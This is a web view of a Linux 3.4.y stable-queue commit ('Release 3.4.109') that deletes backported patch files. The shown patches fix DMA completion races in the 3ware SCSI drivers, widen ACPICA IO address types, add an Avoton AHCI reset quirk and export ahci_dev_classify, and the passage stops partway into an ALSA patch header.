diff options
| author | Zefan Li <lizefan@huawei.com> | 2015-09-18 09:22:12 +0800 |
|---|---|---|
| committer | Zefan Li <lizefan@huawei.com> | 2015-09-18 09:22:12 +0800 |
| commit | 067a47f100a0cfb782b4efa9a16dcda78e1946dc (patch) | |
| tree | a0d3b44ad4864a2c1f955822e7047f05b67ec9ad | |
| parent | 0b448d2833fe0b65b4172f0651dbef0f31cfcbf9 (diff) | |
| download | linux-3.4.y-queue-067a47f100a0cfb782b4efa9a16dcda78e1946dc.tar.gz | |
Release 3.4.109
145 files changed, 0 insertions, 9634 deletions
diff --git a/patches/3w-9xxx-fix-command-completion-race.patch b/patches/3w-9xxx-fix-command-completion-race.patch deleted file mode 100644 index 6f2b0ab..0000000 --- a/patches/3w-9xxx-fix-command-completion-race.patch +++ /dev/null @@ -1,154 +0,0 @@ -From 118c855b5623f3e2e6204f02623d88c09e0c34de Mon Sep 17 00:00:00 2001 -From: Christoph Hellwig <hch@lst.de> -Date: Thu, 23 Apr 2015 09:48:51 +0200 -Subject: 3w-9xxx: fix command completion race - -commit 118c855b5623f3e2e6204f02623d88c09e0c34de upstream. - -The 3w-9xxx driver needs to tear down the dma mappings before returning -the command to the midlayer, as there is no guarantee the sglist and -count are valid after that point. Also remove the dma mapping helpers -which have another inherent race due to the request_id index. - -Signed-off-by: Christoph Hellwig <hch@lst.de> -Acked-by: Adam Radford <aradford@gmail.com> -Signed-off-by: James Bottomley <JBottomley@Odin.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/scsi/3w-9xxx.c | 57 +++++++++++-------------------------------------- - drivers/scsi/3w-9xxx.h | 5 ---- - 2 files changed, 13 insertions(+), 49 deletions(-) - ---- a/drivers/scsi/3w-9xxx.c -+++ b/drivers/scsi/3w-9xxx.c -@@ -149,7 +149,6 @@ static int twa_reset_sequence(TW_Device_ - static int twa_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, char *cdb, int use_sg, TW_SG_Entry *sglistarg); - static void twa_scsiop_execute_scsi_complete(TW_Device_Extension *tw_dev, int request_id); - static char *twa_string_lookup(twa_message_type *table, unsigned int aen_code); --static void twa_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id); - - /* Functions */ - -@@ -1352,11 +1351,11 @@ static irqreturn_t twa_interrupt(int irq - } - - /* Now complete the io */ -+ scsi_dma_unmap(cmd); -+ cmd->scsi_done(cmd); - tw_dev->state[request_id] = TW_S_COMPLETED; - twa_free_request_id(tw_dev, request_id); - tw_dev->posted_request_count--; -- tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); -- twa_unmap_scsi_data(tw_dev, request_id); - } - - /* Check for valid status after each drain */ -@@ -1414,26 +1413,6 @@ static void twa_load_sgl(TW_Device_Exten - } - } /* End twa_load_sgl() */ - --/* This function will perform a pci-dma mapping for a scatter gather list */ --static int twa_map_scsi_sg_data(TW_Device_Extension *tw_dev, int request_id) --{ -- int use_sg; -- struct scsi_cmnd *cmd = tw_dev->srb[request_id]; -- -- use_sg = scsi_dma_map(cmd); -- if (!use_sg) -- return 0; -- else if (use_sg < 0) { -- TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1c, "Failed to map scatter gather list"); -- return 0; -- } -- -- cmd->SCp.phase = TW_PHASE_SGLIST; -- cmd->SCp.have_data_in = use_sg; -- -- return use_sg; --} /* End twa_map_scsi_sg_data() */ -- - /* This function will poll for a response interrupt of a request */ - static int twa_poll_response(TW_Device_Extension *tw_dev, int request_id, int seconds) - { -@@ -1612,9 +1591,11 @@ static int twa_reset_device_extension(TW - (tw_dev->state[i] != TW_S_INITIAL) && - (tw_dev->state[i] != TW_S_COMPLETED)) { - if (tw_dev->srb[i]) { -- tw_dev->srb[i]->result = (DID_RESET << 16); -- tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); -- twa_unmap_scsi_data(tw_dev, i); -+ struct scsi_cmnd *cmd = tw_dev->srb[i]; -+ -+ cmd->result = (DID_RESET << 16); -+ scsi_dma_unmap(cmd); -+ cmd->scsi_done(cmd); - } - } - } -@@ -1793,21 +1774,18 @@ static int twa_scsi_queue_lck(struct scs - /* Save the scsi command for use by the ISR */ - tw_dev->srb[request_id] = SCpnt; - -- /* Initialize phase to zero */ -- SCpnt->SCp.phase = TW_PHASE_INITIAL; -- - retval = twa_scsiop_execute_scsi(tw_dev, request_id, NULL, 0, NULL); - switch (retval) { - case SCSI_MLQUEUE_HOST_BUSY: -+ scsi_dma_unmap(SCpnt); - twa_free_request_id(tw_dev, request_id); -- twa_unmap_scsi_data(tw_dev, request_id); - break; - case 1: -- tw_dev->state[request_id] = TW_S_COMPLETED; -- twa_free_request_id(tw_dev, request_id); -- twa_unmap_scsi_data(tw_dev, request_id); - SCpnt->result = (DID_ERROR << 16); -+ scsi_dma_unmap(SCpnt); - done(SCpnt); -+ tw_dev->state[request_id] = TW_S_COMPLETED; -+ twa_free_request_id(tw_dev, request_id); - retval = 0; - } - out: -@@ -1875,8 +1853,8 @@ static int twa_scsiop_execute_scsi(TW_De - command_packet->sg_list[0].address = TW_CPU_TO_SGL(tw_dev->generic_buffer_phys[request_id]); - command_packet->sg_list[0].length = cpu_to_le32(TW_MIN_SGL_LENGTH); - } else { -- sg_count = twa_map_scsi_sg_data(tw_dev, request_id); -- if (sg_count == 0) -+ sg_count = scsi_dma_map(srb); -+ if (sg_count < 0) - goto out; - - scsi_for_each_sg(srb, sg, sg_count, i) { -@@ -1991,15 +1969,6 @@ static char *twa_string_lookup(twa_messa - return(table[index].text); - } /* End twa_string_lookup() */ - --/* This function will perform a pci-dma unmap */ --static void twa_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id) --{ -- struct scsi_cmnd *cmd = tw_dev->srb[request_id]; -- -- if (cmd->SCp.phase == TW_PHASE_SGLIST) -- scsi_dma_unmap(cmd); --} /* End twa_unmap_scsi_data() */ -- - /* This function gets called when a disk is coming on-line */ - static int twa_slave_configure(struct scsi_device *sdev) - { ---- a/drivers/scsi/3w-9xxx.h -+++ b/drivers/scsi/3w-9xxx.h -@@ -324,11 +324,6 @@ static twa_message_type twa_error_table[ - #define TW_CURRENT_DRIVER_BUILD 0 - #define TW_CURRENT_DRIVER_BRANCH 0 - --/* Phase defines */ --#define TW_PHASE_INITIAL 0 --#define TW_PHASE_SINGLE 1 --#define TW_PHASE_SGLIST 2 -- - /* Misc defines */ - #define TW_9550SX_DRAIN_COMPLETED 0xFFFF - #define TW_SECTOR_SIZE 512 diff --git a/patches/3w-sas-fix-command-completion-race.patch b/patches/3w-sas-fix-command-completion-race.patch deleted file mode 100644 index aea24d8..0000000 --- a/patches/3w-sas-fix-command-completion-race.patch +++ /dev/null @@ -1,133 +0,0 @@ -From 579d69bc1fd56d5af5761969aa529d1d1c188300 Mon Sep 17 00:00:00 2001 -From: Christoph Hellwig <hch@lst.de> -Date: Thu, 23 Apr 2015 09:48:49 +0200 -Subject: 3w-sas: fix command completion race - -commit 579d69bc1fd56d5af5761969aa529d1d1c188300 upstream. - -The 3w-sas driver needs to tear down the dma mappings before returning -the command to the midlayer, as there is no guarantee the sglist and -count are valid after that point. Also remove the dma mapping helpers -which have another inherent race due to the request_id index. - -Signed-off-by: Christoph Hellwig <hch@lst.de> -Reported-by: Torsten Luettgert <ml-lkml@enda.eu> -Tested-by: Bernd Kardatzki <Bernd.Kardatzki@med.uni-tuebingen.de> -Acked-by: Adam Radford <aradford@gmail.com> -Signed-off-by: James Bottomley <JBottomley@Odin.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/scsi/3w-sas.c | 50 ++++++++++---------------------------------------- - drivers/scsi/3w-sas.h | 4 ---- - 2 files changed, 10 insertions(+), 44 deletions(-) - ---- a/drivers/scsi/3w-sas.c -+++ b/drivers/scsi/3w-sas.c -@@ -303,26 +303,6 @@ static int twl_post_command_packet(TW_De - return 0; - } /* End twl_post_command_packet() */ - --/* This function will perform a pci-dma mapping for a scatter gather list */ --static int twl_map_scsi_sg_data(TW_Device_Extension *tw_dev, int request_id) --{ -- int use_sg; -- struct scsi_cmnd *cmd = tw_dev->srb[request_id]; -- -- use_sg = scsi_dma_map(cmd); -- if (!use_sg) -- return 0; -- else if (use_sg < 0) { -- TW_PRINTK(tw_dev->host, TW_DRIVER, 0x1, "Failed to map scatter gather list"); -- return 0; -- } -- -- cmd->SCp.phase = TW_PHASE_SGLIST; -- cmd->SCp.have_data_in = use_sg; -- -- return use_sg; --} /* End twl_map_scsi_sg_data() */ -- - /* This function hands scsi cdb's to the firmware */ - static int twl_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, char *cdb, int use_sg, TW_SG_Entry_ISO *sglistarg) - { -@@ -370,8 +350,8 @@ static int twl_scsiop_execute_scsi(TW_De - if (!sglistarg) { - /* Map sglist from scsi layer to cmd packet */ - if (scsi_sg_count(srb)) { -- sg_count = twl_map_scsi_sg_data(tw_dev, request_id); -- if (sg_count == 0) -+ sg_count = scsi_dma_map(srb); -+ if (sg_count <= 0) - goto out; - - scsi_for_each_sg(srb, sg, sg_count, i) { -@@ -1116,15 +1096,6 @@ out: - return retval; - } /* End twl_initialize_device_extension() */ - --/* This function will perform a pci-dma unmap */ --static void twl_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id) --{ -- struct scsi_cmnd *cmd = tw_dev->srb[request_id]; -- -- if (cmd->SCp.phase == TW_PHASE_SGLIST) -- scsi_dma_unmap(cmd); --} /* End twl_unmap_scsi_data() */ -- - /* This function will handle attention interrupts */ - static int twl_handle_attention_interrupt(TW_Device_Extension *tw_dev) - { -@@ -1265,11 +1236,11 @@ static irqreturn_t twl_interrupt(int irq - } - - /* Now complete the io */ -+ scsi_dma_unmap(cmd); -+ cmd->scsi_done(cmd); - tw_dev->state[request_id] = TW_S_COMPLETED; - twl_free_request_id(tw_dev, request_id); - tw_dev->posted_request_count--; -- tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); -- twl_unmap_scsi_data(tw_dev, request_id); - } - - /* Check for another response interrupt */ -@@ -1414,10 +1385,12 @@ static int twl_reset_device_extension(TW - if ((tw_dev->state[i] != TW_S_FINISHED) && - (tw_dev->state[i] != TW_S_INITIAL) && - (tw_dev->state[i] != TW_S_COMPLETED)) { -- if (tw_dev->srb[i]) { -- tw_dev->srb[i]->result = (DID_RESET << 16); -- tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); -- twl_unmap_scsi_data(tw_dev, i); -+ struct scsi_cmnd *cmd = tw_dev->srb[i]; -+ -+ if (cmd) { -+ cmd->result = (DID_RESET << 16); -+ scsi_dma_unmap(cmd); -+ cmd->scsi_done(cmd); - } - } - } -@@ -1521,9 +1494,6 @@ static int twl_scsi_queue_lck(struct scs - /* Save the scsi command for use by the ISR */ - tw_dev->srb[request_id] = SCpnt; - -- /* Initialize phase to zero */ -- SCpnt->SCp.phase = TW_PHASE_INITIAL; -- - retval = twl_scsiop_execute_scsi(tw_dev, request_id, NULL, 0, NULL); - if (retval) { - tw_dev->state[request_id] = TW_S_COMPLETED; ---- a/drivers/scsi/3w-sas.h -+++ b/drivers/scsi/3w-sas.h -@@ -103,10 +103,6 @@ static char *twl_aen_severity_table[] = - #define TW_CURRENT_DRIVER_BUILD 0 - #define TW_CURRENT_DRIVER_BRANCH 0 - --/* Phase defines */ --#define TW_PHASE_INITIAL 0 --#define TW_PHASE_SGLIST 2 -- - /* Misc defines */ - #define TW_SECTOR_SIZE 512 - #define TW_MAX_UNITS 32 diff --git a/patches/3w-xxxx-fix-command-completion-race.patch b/patches/3w-xxxx-fix-command-completion-race.patch deleted file mode 100644 index dc3e13d..0000000 --- a/patches/3w-xxxx-fix-command-completion-race.patch +++ /dev/null @@ -1,117 +0,0 @@ -From 9cd9554615cba14f0877cc9972a6537ad2bdde61 Mon Sep 17 00:00:00 2001 -From: Christoph Hellwig <hch@lst.de> -Date: Thu, 23 Apr 2015 09:48:50 +0200 -Subject: 3w-xxxx: fix command completion race - -commit 9cd9554615cba14f0877cc9972a6537ad2bdde61 upstream. - -The 3w-xxxx driver needs to tear down the dma mappings before returning -the command to the midlayer, as there is no guarantee the sglist and -count are valid after that point. Also remove the dma mapping helpers -which have another inherent race due to the request_id index. - -Signed-off-by: Christoph Hellwig <hch@lst.de> -Acked-by: Adam Radford <aradford@gmail.com> -Signed-off-by: James Bottomley <JBottomley@Odin.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/scsi/3w-xxxx.c | 42 ++++++------------------------------------ - drivers/scsi/3w-xxxx.h | 5 ----- - 2 files changed, 6 insertions(+), 41 deletions(-) - ---- a/drivers/scsi/3w-xxxx.c -+++ b/drivers/scsi/3w-xxxx.c -@@ -1283,32 +1283,6 @@ static int tw_initialize_device_extensio - return 0; - } /* End tw_initialize_device_extension() */ - --static int tw_map_scsi_sg_data(struct pci_dev *pdev, struct scsi_cmnd *cmd) --{ -- int use_sg; -- -- dprintk(KERN_WARNING "3w-xxxx: tw_map_scsi_sg_data()\n"); -- -- use_sg = scsi_dma_map(cmd); -- if (use_sg < 0) { -- printk(KERN_WARNING "3w-xxxx: tw_map_scsi_sg_data(): pci_map_sg() failed.\n"); -- return 0; -- } -- -- cmd->SCp.phase = TW_PHASE_SGLIST; -- cmd->SCp.have_data_in = use_sg; -- -- return use_sg; --} /* End tw_map_scsi_sg_data() */ -- --static void tw_unmap_scsi_data(struct pci_dev *pdev, struct scsi_cmnd *cmd) --{ -- dprintk(KERN_WARNING "3w-xxxx: tw_unmap_scsi_data()\n"); -- -- if (cmd->SCp.phase == TW_PHASE_SGLIST) -- scsi_dma_unmap(cmd); --} /* End tw_unmap_scsi_data() */ -- - /* This function will reset a device extension */ - static int tw_reset_device_extension(TW_Device_Extension *tw_dev) - { -@@ -1331,8 +1305,8 @@ static int tw_reset_device_extension(TW_ - srb = tw_dev->srb[i]; - if (srb != NULL) { - srb->result = (DID_RESET << 16); -- tw_dev->srb[i]->scsi_done(tw_dev->srb[i]); -- tw_unmap_scsi_data(tw_dev->tw_pci_dev, tw_dev->srb[i]); -+ scsi_dma_unmap(srb); -+ srb->scsi_done(srb); - } - } - } -@@ -1779,8 +1753,8 @@ static int tw_scsiop_read_write(TW_Devic - command_packet->byte8.io.lba = lba; - command_packet->byte6.block_count = num_sectors; - -- use_sg = tw_map_scsi_sg_data(tw_dev->tw_pci_dev, tw_dev->srb[request_id]); -- if (!use_sg) -+ use_sg = scsi_dma_map(srb); -+ if (use_sg <= 0) - return 1; - - scsi_for_each_sg(tw_dev->srb[request_id], sg, use_sg, i) { -@@ -1967,9 +1941,6 @@ static int tw_scsi_queue_lck(struct scsi - /* Save the scsi command for use by the ISR */ - tw_dev->srb[request_id] = SCpnt; - -- /* Initialize phase to zero */ -- SCpnt->SCp.phase = TW_PHASE_INITIAL; -- - switch (*command) { - case READ_10: - case READ_6: -@@ -2196,12 +2167,11 @@ static irqreturn_t tw_interrupt(int irq, - - /* Now complete the io */ - if ((error != TW_ISR_DONT_COMPLETE)) { -+ scsi_dma_unmap(tw_dev->srb[request_id]); -+ tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); - tw_dev->state[request_id] = TW_S_COMPLETED; - tw_state_request_finish(tw_dev, request_id); - tw_dev->posted_request_count--; -- tw_dev->srb[request_id]->scsi_done(tw_dev->srb[request_id]); -- -- tw_unmap_scsi_data(tw_dev->tw_pci_dev, tw_dev->srb[request_id]); - } - } - ---- a/drivers/scsi/3w-xxxx.h -+++ b/drivers/scsi/3w-xxxx.h -@@ -195,11 +195,6 @@ static unsigned char tw_sense_table[][4] - #define TW_AEN_SMART_FAIL 0x000F - #define TW_AEN_SBUF_FAIL 0x0024 - --/* Phase defines */ --#define TW_PHASE_INITIAL 0 --#define TW_PHASE_SINGLE 1 --#define TW_PHASE_SGLIST 2 -- - /* Misc defines */ - #define TW_ALIGNMENT_6000 64 /* 64 bytes */ - #define TW_ALIGNMENT_7000 4 /* 4 bytes */ diff --git a/patches/acpica-utilities-split-io-address-types-from-data-type-models.patch b/patches/acpica-utilities-split-io-address-types-from-data-type-models.patch deleted file mode 100644 index 3a64333..0000000 --- a/patches/acpica-utilities-split-io-address-types-from-data-type-models.patch +++ /dev/null @@ -1,108 +0,0 @@ -From 2b8760100e1de69b6ff004c986328a82947db4ad Mon Sep 17 00:00:00 2001 -From: Lv Zheng <lv.zheng@intel.com> -Date: Mon, 13 Apr 2015 11:48:58 +0800 -Subject: ACPICA: Utilities: split IO address types from data type models. - -commit 2b8760100e1de69b6ff004c986328a82947db4ad upstream. - -ACPICA commit aacf863cfffd46338e268b7415f7435cae93b451 - -It is reported that on a physically 64-bit addressed machine, 32-bit kernel -can trigger crashes in accessing the memory regions that are beyond the -32-bit boundary. The region field's start address should still be 32-bit -compliant, but after a calculation (adding some offsets), it may exceed the -32-bit boundary. This case is rare and buggy, but there are real BIOSes -leaked with such issues (see References below). - -This patch fixes this gap by always defining IO addresses as 64-bit, and -allows OSPMs to optimize it for a real 32-bit machine to reduce the size of -the internal objects. - -Internal acpi_physical_address usages in the structures that can be fixed -by this change include: - 1. struct acpi_object_region: - acpi_physical_address address; - 2. struct acpi_address_range: - acpi_physical_address start_address; - acpi_physical_address end_address; - 3. struct acpi_mem_space_context; - acpi_physical_address address; - 4. struct acpi_table_desc - acpi_physical_address address; -See known issues 1 for other usages. - -Note that acpi_io_address which is used for ACPI_PROCESSOR may also suffer -from same problem, so this patch changes it accordingly. - -For iasl, it will enforce acpi_physical_address as 32-bit to generate -32-bit OSPM compatible tables on 32-bit platforms, we need to define -ACPI_32BIT_PHYSICAL_ADDRESS for it in acenv.h. - -Known issues: - 1. Cleanup of mapped virtual address - In struct acpi_mem_space_context, acpi_physical_address is used as a virtual - address: - acpi_physical_address mapped_physical_address; - It is better to introduce acpi_virtual_address or use acpi_size instead. - This patch doesn't make such a change. Because this should be done along - with a change to acpi_os_map_memory()/acpi_os_unmap_memory(). - There should be no functional problem to leave this unchanged except - that only this structure is enlarged unexpectedly. - -Link: https://github.com/acpica/acpica/commit/aacf863c -Reference: https://bugzilla.kernel.org/show_bug.cgi?id=87971 -Reference: https://bugzilla.kernel.org/show_bug.cgi?id=79501 -Reported-and-tested-by: Paul Menzel <paulepanter@users.sourceforge.net> -Reported-and-tested-by: Sial Nije <sialnije@gmail.com> -Signed-off-by: Lv Zheng <lv.zheng@intel.com> -Signed-off-by: Bob Moore <robert.moore@intel.com> -Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - include/acpi/actypes.h | 20 ++++++++++++++++++++ - include/acpi/platform/acenv.h | 1 + - 2 files changed, 21 insertions(+) - ---- a/include/acpi/actypes.h -+++ b/include/acpi/actypes.h -@@ -198,9 +198,29 @@ typedef int INT32; - typedef s32 acpi_native_int; - - typedef u32 acpi_size; -+ -+#ifdef ACPI_32BIT_PHYSICAL_ADDRESS -+ -+/* -+ * OSPMs can define this to shrink the size of the structures for 32-bit -+ * none PAE environment. ASL compiler may always define this to generate -+ * 32-bit OSPM compliant tables. -+ */ - typedef u32 acpi_io_address; - typedef u32 acpi_physical_address; - -+#else /* ACPI_32BIT_PHYSICAL_ADDRESS */ -+ -+/* -+ * It is reported that, after some calculations, the physical addresses can -+ * wrap over the 32-bit boundary on 32-bit PAE environment. -+ * https://bugzilla.kernel.org/show_bug.cgi?id=87971 -+ */ -+typedef u64 acpi_io_address; -+typedef u64 acpi_physical_address; -+ -+#endif /* ACPI_32BIT_PHYSICAL_ADDRESS */ -+ - #define ACPI_MAX_PTR ACPI_UINT32_MAX - #define ACPI_SIZE_MAX ACPI_UINT32_MAX - ---- a/include/acpi/platform/acenv.h -+++ b/include/acpi/platform/acenv.h -@@ -75,6 +75,7 @@ - #define ACPI_CONSTANT_EVAL_ONLY - #define ACPI_LARGE_NAMESPACE_NODE - #define ACPI_DATA_TABLE_DISASSEMBLY -+#define ACPI_32BIT_PHYSICAL_ADDRESS - #endif - - #ifdef ACPI_EXEC_APP diff --git a/patches/ahci-avoton-port-disable-reset-quirk.patch b/patches/ahci-avoton-port-disable-reset-quirk.patch deleted file mode 100644 index c262e21..0000000 --- a/patches/ahci-avoton-port-disable-reset-quirk.patch +++ /dev/null @@ -1,168 +0,0 @@ -From dbfe8ef5599a5370abc441fcdbb382b656563eb4 Mon Sep 17 00:00:00 2001 -From: Dan Williams <dan.j.williams@intel.com> -Date: Fri, 8 May 2015 15:23:55 -0400 -Subject: ahci: avoton port-disable reset-quirk - -commit dbfe8ef5599a5370abc441fcdbb382b656563eb4 upstream. - -Avoton AHCI occasionally sees drive probe timeouts at driver load time. -When this happens SCR_STATUS indicates device detected, but no D2H FIS -reception. Reset the internal link state machines by bouncing -port-enable in the PCS register when this occurs. - -Signed-off-by: Dan Williams <dan.j.williams@intel.com> -Signed-off-by: Tejun Heo <tj@kernel.org> -[lizf: Backported to 3.4: - - adjust context - - use ahci_start_engine() instead of hpriv->start_engine()] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/ata/ahci.c | 102 ++++++++++++++++++++++++++++++++++++++++++++++++----- - 1 file changed, 94 insertions(+), 8 deletions(-) - ---- a/drivers/ata/ahci.c -+++ b/drivers/ata/ahci.c -@@ -67,6 +67,7 @@ enum board_ids { - board_ahci_yes_fbs, - - /* board IDs for specific chipsets in alphabetical order */ -+ board_ahci_avn, - board_ahci_mcp65, - board_ahci_mcp77, - board_ahci_mcp89, -@@ -85,6 +86,8 @@ enum board_ids { - static int ahci_init_one(struct pci_dev *pdev, const struct pci_device_id *ent); - static int ahci_vt8251_hardreset(struct ata_link *link, unsigned int *class, - unsigned long deadline); -+static int ahci_avn_hardreset(struct ata_link *link, unsigned int *class, -+ unsigned long deadline); - static int ahci_p5wdh_hardreset(struct ata_link *link, unsigned int *class, - unsigned long deadline); - #ifdef CONFIG_PM -@@ -106,6 +109,11 @@ static struct ata_port_operations ahci_p - .hardreset = ahci_p5wdh_hardreset, - }; - -+static struct ata_port_operations ahci_avn_ops = { -+ .inherits = &ahci_ops, -+ .hardreset = ahci_avn_hardreset, -+}; -+ - static const struct ata_port_info ahci_port_info[] = { - /* by features */ - [board_ahci] = -@@ -154,6 +162,12 @@ static const struct ata_port_info ahci_p - .port_ops = &ahci_ops, - }, - /* by chipsets */ -+ [board_ahci_avn] = { -+ .flags = AHCI_FLAG_COMMON, -+ .pio_mask = ATA_PIO4, -+ .udma_mask = ATA_UDMA6, -+ .port_ops = &ahci_avn_ops, -+ }, - [board_ahci_mcp65] = - { - AHCI_HFLAGS (AHCI_HFLAG_NO_FPDMA_AA | AHCI_HFLAG_NO_PMP | -@@ -300,14 +314,14 @@ static const struct pci_device_id ahci_p - { PCI_VDEVICE(INTEL, 0x1f27), board_ahci }, /* Avoton RAID */ - { PCI_VDEVICE(INTEL, 0x1f2e), board_ahci }, /* Avoton RAID */ - { PCI_VDEVICE(INTEL, 0x1f2f), board_ahci }, /* Avoton RAID */ -- { PCI_VDEVICE(INTEL, 0x1f32), board_ahci }, /* Avoton AHCI */ -- { PCI_VDEVICE(INTEL, 0x1f33), board_ahci }, /* Avoton AHCI */ -- { PCI_VDEVICE(INTEL, 0x1f34), board_ahci }, /* Avoton RAID */ -- { PCI_VDEVICE(INTEL, 0x1f35), board_ahci }, /* Avoton RAID */ -- { PCI_VDEVICE(INTEL, 0x1f36), board_ahci }, /* Avoton RAID */ -- { PCI_VDEVICE(INTEL, 0x1f37), board_ahci }, /* Avoton RAID */ -- { PCI_VDEVICE(INTEL, 0x1f3e), board_ahci }, /* Avoton RAID */ -- { PCI_VDEVICE(INTEL, 0x1f3f), board_ahci }, /* Avoton RAID */ -+ { PCI_VDEVICE(INTEL, 0x1f32), board_ahci_avn }, /* Avoton AHCI */ -+ { PCI_VDEVICE(INTEL, 0x1f33), board_ahci_avn }, /* Avoton AHCI */ -+ { PCI_VDEVICE(INTEL, 0x1f34), board_ahci_avn }, /* Avoton RAID */ -+ { PCI_VDEVICE(INTEL, 0x1f35), board_ahci_avn }, /* Avoton RAID */ -+ { PCI_VDEVICE(INTEL, 0x1f36), board_ahci_avn }, /* Avoton RAID */ -+ { PCI_VDEVICE(INTEL, 0x1f37), board_ahci_avn }, /* Avoton RAID */ -+ { PCI_VDEVICE(INTEL, 0x1f3e), board_ahci_avn }, /* Avoton RAID */ -+ { PCI_VDEVICE(INTEL, 0x1f3f), board_ahci_avn }, /* Avoton RAID */ - { PCI_VDEVICE(INTEL, 0x8d02), board_ahci }, /* Wellsburg AHCI */ - { PCI_VDEVICE(INTEL, 0x8d04), board_ahci }, /* Wellsburg RAID */ - { PCI_VDEVICE(INTEL, 0x8d06), board_ahci }, /* Wellsburg RAID */ -@@ -671,6 +685,78 @@ static int ahci_p5wdh_hardreset(struct a - return rc; - } - -+/* -+ * ahci_avn_hardreset - attempt more aggressive recovery of Avoton ports. -+ * -+ * It has been observed with some SSDs that the timing of events in the -+ * link synchronization phase can leave the port in a state that can not -+ * be recovered by a SATA-hard-reset alone. The failing signature is -+ * SStatus.DET stuck at 1 ("Device presence detected but Phy -+ * communication not established"). It was found that unloading and -+ * reloading the driver when this problem occurs allows the drive -+ * connection to be recovered (DET advanced to 0x3). The critical -+ * component of reloading the driver is that the port state machines are -+ * reset by bouncing "port enable" in the AHCI PCS configuration -+ * register. So, reproduce that effect by bouncing a port whenever we -+ * see DET==1 after a reset. -+ */ -+static int ahci_avn_hardreset(struct ata_link *link, unsigned int *class, -+ unsigned long deadline) -+{ -+ const unsigned long *timing = sata_ehc_deb_timing(&link->eh_context); -+ struct ata_port *ap = link->ap; -+ struct ahci_port_priv *pp = ap->private_data; -+ u8 *d2h_fis = pp->rx_fis + RX_FIS_D2H_REG; -+ unsigned long tmo = deadline - jiffies; -+ struct ata_taskfile tf; -+ bool online; -+ int rc, i; -+ -+ DPRINTK("ENTER\n"); -+ -+ ahci_stop_engine(ap); -+ -+ for (i = 0; i < 2; i++) { -+ u16 val; -+ u32 sstatus; -+ int port = ap->port_no; -+ struct ata_host *host = ap->host; -+ struct pci_dev *pdev = to_pci_dev(host->dev); -+ -+ /* clear D2H reception area to properly wait for D2H FIS */ -+ ata_tf_init(link->device, &tf); -+ tf.command = ATA_BUSY; -+ ata_tf_to_fis(&tf, 0, 0, d2h_fis); -+ -+ rc = sata_link_hardreset(link, timing, deadline, &online, -+ ahci_check_ready); -+ -+ if (sata_scr_read(link, SCR_STATUS, &sstatus) != 0 || -+ (sstatus & 0xf) != 1) -+ break; -+ -+ ata_link_printk(link, KERN_INFO, "avn bounce port%d\n", -+ port); -+ -+ pci_read_config_word(pdev, 0x92, &val); -+ val &= ~(1 << port); -+ pci_write_config_word(pdev, 0x92, val); -+ ata_msleep(ap, 1000); -+ val |= 1 << port; -+ pci_write_config_word(pdev, 0x92, val); -+ deadline += tmo; -+ } -+ -+ ahci_start_engine(ap); -+ -+ if (online) -+ *class = ahci_dev_classify(ap); -+ -+ DPRINTK("EXIT, rc=%d, class=%u\n", rc, *class); -+ return rc; -+} -+ -+ - #ifdef CONFIG_PM - static int ahci_pci_device_suspend(struct pci_dev *pdev, pm_message_t mesg) - { diff --git a/patches/ahci-un-staticize-ahci_dev_classify.patch b/patches/ahci-un-staticize-ahci_dev_classify.patch deleted file mode 100644 index 4b5dba1..0000000 --- a/patches/ahci-un-staticize-ahci_dev_classify.patch +++ /dev/null @@ -1,47 +0,0 @@ -From bbb4ab43f82adf02c8b4d0d7e7b7e79d24204b05 Mon Sep 17 00:00:00 2001 -From: Rob Herring <rob.herring@calxeda.com> -Date: Fri, 17 Aug 2012 09:51:50 -0500 -Subject: ahci: un-staticize ahci_dev_classify - -commit bbb4ab43f82adf02c8b4d0d7e7b7e79d24204b05 upstream. - -Make ahci_dev_classify available to the ahci platform driver for custom -hard reset function. - -Signed-off-by: Rob Herring <rob.herring@calxeda.com> -Signed-off-by: Jeff Garzik <jgarzik@redhat.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/ata/ahci.h | 1 + - drivers/ata/libahci.c | 3 ++- - 2 files changed, 3 insertions(+), 1 deletion(-) - ---- a/drivers/ata/ahci.h -+++ b/drivers/ata/ahci.h -@@ -320,6 +320,7 @@ extern struct device_attribute *ahci_sde - extern struct ata_port_operations ahci_ops; - extern struct ata_port_operations ahci_pmp_retry_srst_ops; - -+unsigned int ahci_dev_classify(struct ata_port *ap); - void ahci_fill_cmd_slot(struct ahci_port_priv *pp, unsigned int tag, - u32 opts); - void ahci_save_initial_config(struct device *dev, ---- a/drivers/ata/libahci.c -+++ b/drivers/ata/libahci.c -@@ -1139,7 +1139,7 @@ static void ahci_dev_config(struct ata_d - } - } - --static unsigned int ahci_dev_classify(struct ata_port *ap) -+unsigned int ahci_dev_classify(struct ata_port *ap) - { - void __iomem *port_mmio = ahci_port_base(ap); - struct ata_taskfile tf; -@@ -1153,6 +1153,7 @@ static unsigned int ahci_dev_classify(st - - return ata_dev_classify(&tf); - } -+EXPORT_SYMBOL_GPL(ahci_dev_classify); - - void ahci_fill_cmd_slot(struct ahci_port_priv *pp, unsigned int tag, - u32 opts) diff --git a/patches/alsa-emu10k1-don-t-deadlock-in-proc-functions.patch b/patches/alsa-emu10k1-don-t-deadlock-in-proc-functions.patch deleted file mode 100644 index 90ef0bc..0000000 --- a/patches/alsa-emu10k1-don-t-deadlock-in-proc-functions.patch +++ /dev/null @@ -1,72 +0,0 @@ -From 91bf0c2dcb935a87e5c0795f5047456b965fd143 Mon Sep 17 00:00:00 2001 -From: Michael Gernoth <michael@gernoth.net> -Date: Thu, 9 Apr 2015 23:42:15 +0200 -Subject: ALSA: 